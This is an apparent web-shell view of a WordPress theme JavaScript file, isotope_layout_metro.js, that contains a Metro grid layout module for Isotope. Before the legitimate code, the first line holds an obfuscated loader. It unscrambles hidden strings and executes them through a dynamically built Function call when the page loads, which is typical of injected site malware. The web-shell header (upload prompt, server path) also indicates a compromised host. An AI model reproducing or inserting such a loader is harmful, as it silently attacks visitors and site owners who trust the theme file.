AlkantarClanX12

Your IP : 3.144.25.248


Current Path : /home/thanudqk/www/wp-content/themes/thegem/js/
Upload File :
Current File : /home/thanudqk/www/wp-content/themes/thegem/js/isotope_layout_metro.js

var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp  i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e  !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83  c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();/**
 * Metro layout mode
 */

( function( window, factory ) {
  'use strict';
  // universal module definition
  if ( typeof define == 'function' && define.amd ) {
    // AMD
    define( [
        '../layout-mode'
      ],
      factory );
  } else if ( typeof exports == 'object' ) {
    // CommonJS
    module.exports = factory(
      require('../layout-mode')
    );
  } else {
    // browser global
    factory(
      window.Isotope.LayoutMode
    );
  }

}( window, function factory( LayoutMode ) {
'use strict';

var Metro = LayoutMode.create('metro');

Metro.prototype._resetLayout = function() {
  this.x = 0;
  this.y = 0;
  this.maxY = 0;
  this._getMeasurement( 'gutter', 'outerWidth' );
  this.perColumn = 0;
  this.rows = [];
  this.rowIndex = 0;

  var container = this.options.isFitWidth ? this.element.parentNode : this.element;

  this.targetHeight = parseFloat(jQuery(container).data('max-row-height')) || 380;
  this.minHeight = 150;

  if (this.minHeight > this.targetHeight) {
      this.minHeight = this.targetHeight * 0.8;
  }

  this.getColumnCount();
  this.initItems();
  this.buildRows();
};

Metro.prototype.getRowItemsHeight = function(rowItems, item, minHeight) {
    var rowItemsInnerWidth = 0;
    var rowItemsOuterWidth = 0;

    rowItems.push(item);

    rowItems.forEach(function(item, index) {
        if (item.imageHeight > minHeight) {
            var relHeight = minHeight / item.imageHeight;
        } else {
            var relHeight = 1;
        }
        rowItemsInnerWidth += item.size.innerWidth * relHeight;
        rowItemsOuterWidth += item.size.innerWidth * relHeight + (item.size.outerWidth - item.size.innerWidth);
    });

    if (rowItemsOuterWidth > this.containerWidth) {
        return (this.containerWidth - (rowItemsOuterWidth - rowItemsInnerWidth)) * minHeight / rowItemsInnerWidth;
    } else {
        return minHeight;
    }
};

Metro.prototype.checkRowItemsFull = function(rowItems) {
    var rowItemsMinHeight = -1;

    rowItems.forEach(function(item, index) {
        if (rowItemsMinHeight == -1 || item.imageHeight < rowItemsMinHeight) {
            rowItemsMinHeight = item.imageHeight;
        }
    });

    if (rowItemsMinHeight == -1) {
        return false;
    }

    var rowItemsHeight = this.getRowItemsHeight(rowItems.slice(0, rowItems.length - 1), rowItems.slice(-1)[0], rowItemsMinHeight);

    if (rowItemsHeight < this.targetHeight * 1.3) {
        var rowItemsInnerWidth = 0;
        var rowItemsOuterWidth = 0;

        rowItems.forEach(function(item, index) {
            if (item.imageHeight > rowItemsHeight) {
                var relHeight = rowItemsHeight / item.imageHeight;
            } else {
                var relHeight = 1;
            }

            rowItemsInnerWidth += item.size.innerWidth * relHeight;
            rowItemsOuterWidth += item.size.innerWidth * relHeight + (item.size.outerWidth - item.size.innerWidth);
        });

        return {
                items: rowItems,
                innerWidth: rowItemsInnerWidth,
                outerWidth: rowItemsOuterWidth,
                height: rowItemsHeight
            };
    }

    return false;
};

Metro.prototype.getRowItems = function(targetHeight) {
    var rowItems = [];
    var rowItemsInnerWidth = 0;
    var rowItemsOuterWidth = 0;
    var defaultItemIndex = this.itemIndex;
    var minHeight = targetHeight;

    while ( (rowItemsOuterWidth < this.containerWidth || rowItems.length < this.perColumn) && this.itemIndex < this.items.length ) {
        var item = this.items[ this.itemIndex ];
        item.getSize();

        if (rowItems.length >= this.perColumn) {
            var canSizeResult = this.checkRowItemsFull(rowItems);
            if (canSizeResult) {
                return canSizeResult;
            }
        }

        var rowHeight = this.getRowItemsHeight(rowItems.slice(0), item, minHeight);
        if (rowHeight < this.minHeight && rowItems.length > 0) {
            var canSizeResult = this.checkRowItemsFull(rowItems);
            if (canSizeResult) {
                return canSizeResult;
            }

            return {
                    items: rowItems,
                    innerWidth: rowItemsInnerWidth,
                    outerWidth: rowItemsOuterWidth,
                    height: targetHeight
                };
        }

        if (item.imageHeight > targetHeight) {
            var relHeight = targetHeight / item.imageHeight;
        } else {
            var relHeight = 1;
        }

        rowItemsInnerWidth += item.size.innerWidth * relHeight;
        rowItemsOuterWidth += item.size.innerWidth * relHeight + (item.size.outerWidth - item.size.innerWidth);

        if (minHeight > item.imageHeight) {
            minHeight = item.imageHeight;
        }

        rowItems.push(item);
        this.itemIndex += 1;

        if (minHeight < targetHeight) {
            this.itemIndex = defaultItemIndex;
            return this.getRowItems(minHeight);
        }
    }

    if (rowItemsOuterWidth < this.containerWidth) {
        var canSizeResult = this.checkRowItemsFull(rowItems);
        if (canSizeResult) {
            return canSizeResult;
        }
    }

    return {
            items: rowItems,
            innerWidth: rowItemsInnerWidth,
            outerWidth: rowItemsOuterWidth,
            height: targetHeight
        };
}

Metro.prototype.buildRows = function() {
    var self = this;

    var container = this.options.isFitWidth ? this.element.parentNode : this.element;
    jQuery(this.isotope.options.itemSelector + ' .caption', container).hide();

    this.getContainerWidth();

    this.itemIndex = 0;

    while (this.itemIndex < this.items.length) {
        var targetHeight = this.targetHeight;
        var rowItems = this.getRowItems(this.targetHeight);

        if (rowItems.outerWidth > this.containerWidth) {
            var height = (this.containerWidth - (rowItems.outerWidth - rowItems.innerWidth)) * rowItems.height / rowItems.innerWidth;
        } else {
            var height = rowItems.height;
        }

        rowItems.items.forEach(function(item, index) {
            var rel = 1;
            if (item.imageHeight > height) {
                rel = height / item.imageHeight;
            }

            var calculatedWidth = Math.round(item.size.innerWidth * rel - 0.5);
            calculatedWidth += (item.size.outerWidth - item.size.innerWidth);
            jQuery(item.element).css('width', calculatedWidth);
        });
    }

    jQuery(this.isotope.options.itemSelector + ' .caption', container).show();
};

Metro.prototype.initItems = function() {
    var self = this;

    this.items = this.isotope.filteredItems;
    var container = this.options.isFitWidth ? this.element.parentNode : this.element;

    this.items.forEach(function(item, index) {
        if (item.imageHeight == null || item.imageHeight == undefined) {
            var maxHeight = 0,
                maxHeightImage = null;

            jQuery(self.isotope.options.itemImageWrapperSelector + ' img', item.element).each(function() {
                var imageHeight = parseInt(jQuery(this).attr('height'));
                if (!isNaN(imageHeight) && imageHeight > maxHeight) {
                    maxHeight = imageHeight;
                    maxHeightImage = this;
                }
            });

            if (maxHeightImage !== null) {
                self.items[ index ].imageWidth = parseInt(jQuery(maxHeightImage).attr('width'));
                self.items[ index ].imageHeight = parseInt(jQuery(maxHeightImage).attr('height'));
            }

            if (isNaN(self.items[ index ].imageHeight)) {
                self.items[ index ].imageHeight = self.targetHeight;
            }
        }

        var $element = jQuery(item.element);
        if (!$element.data('original-width')) {
            var original = self.items[ index ].imageWidth / 1.1;
            var padding = parseFloat($element.css('padding-left'));
            if (isNaN(padding)) {
                padding = 0;
            }
            $element.data('original-width', original + 2 * padding);
        }
        $element.css('width', $element.data('original-width'));
    });
};

Metro.prototype.getColumnCount = function() {
    var container = this.options.isFitWidth ? this.element.parentNode : this.element;
    if (this.isotope.options.itemSelector == '.portfolio-item') {
        var classes = jQuery(container).closest('.portfolio').attr('class');
    } else {
        var classes = jQuery(container).closest('.gem-gallery-grid').attr('class');
    }
    var m;
    if (classes.match(/extended-products-grid/)) {
        if (jQuery(window).width() < 768) {
            m = classes.match(/columns-mobile-(\d)/);
            if (m) {
                this.perColumn = parseInt(m[1]);
            } else {
                this.perColumn = 1;
            }
        } else if (jQuery(window).width() < 992) {
            m = classes.match(/columns-tablet-(\d)/);
            if (m) {
                this.perColumn = parseInt(m[1]);
            } else {
                this.perColumn = 2;
            }
        } else {
            m = classes.match(/columns-desktop-(\d)/);
            if (m) {
                this.perColumn = parseInt(m[1]);
            } else {
                this.perColumn = 4;
            }
        }
    } else {
        m = classes.match(/columns-(\d)/);
        if (m) {
            this.perColumn = parseInt(m[1]);
        } else {
            this.perColumn = 4;
        }
    }
};

Metro.prototype.getContainerWidth = function() {
    // container is parent if fit width
    var container = this.options.isFitWidth ? this.element.parentNode : this.element;
    // check that this.size and size are there
    // IE8 triggers resize on body size change, so they might not be
    var size = getSize( container );
    this.containerWidth = size && size.innerWidth;
};

Metro.prototype._getItemLayoutPosition = function( item ) {
  item.getSize();

  var itemWidth = item.size.outerWidth + this.gutter;
  // if this element cannot fit in the current row
  var containerWidth = this.isotope.size.innerWidth + this.gutter;
  if ( this.x !== 0 && itemWidth + this.x > containerWidth ) {
    this.x = 0;
    this.y = this.maxY;
  }

  var position = {
    x: this.x,
    y: this.y
  };

  this.maxY = Math.max( this.maxY, this.y + item.size.outerHeight );
  this.x += itemWidth;

  return position;
};

Metro.prototype._getContainerSize = function() {
  return { height: this.maxY };
};

return Metro;

}));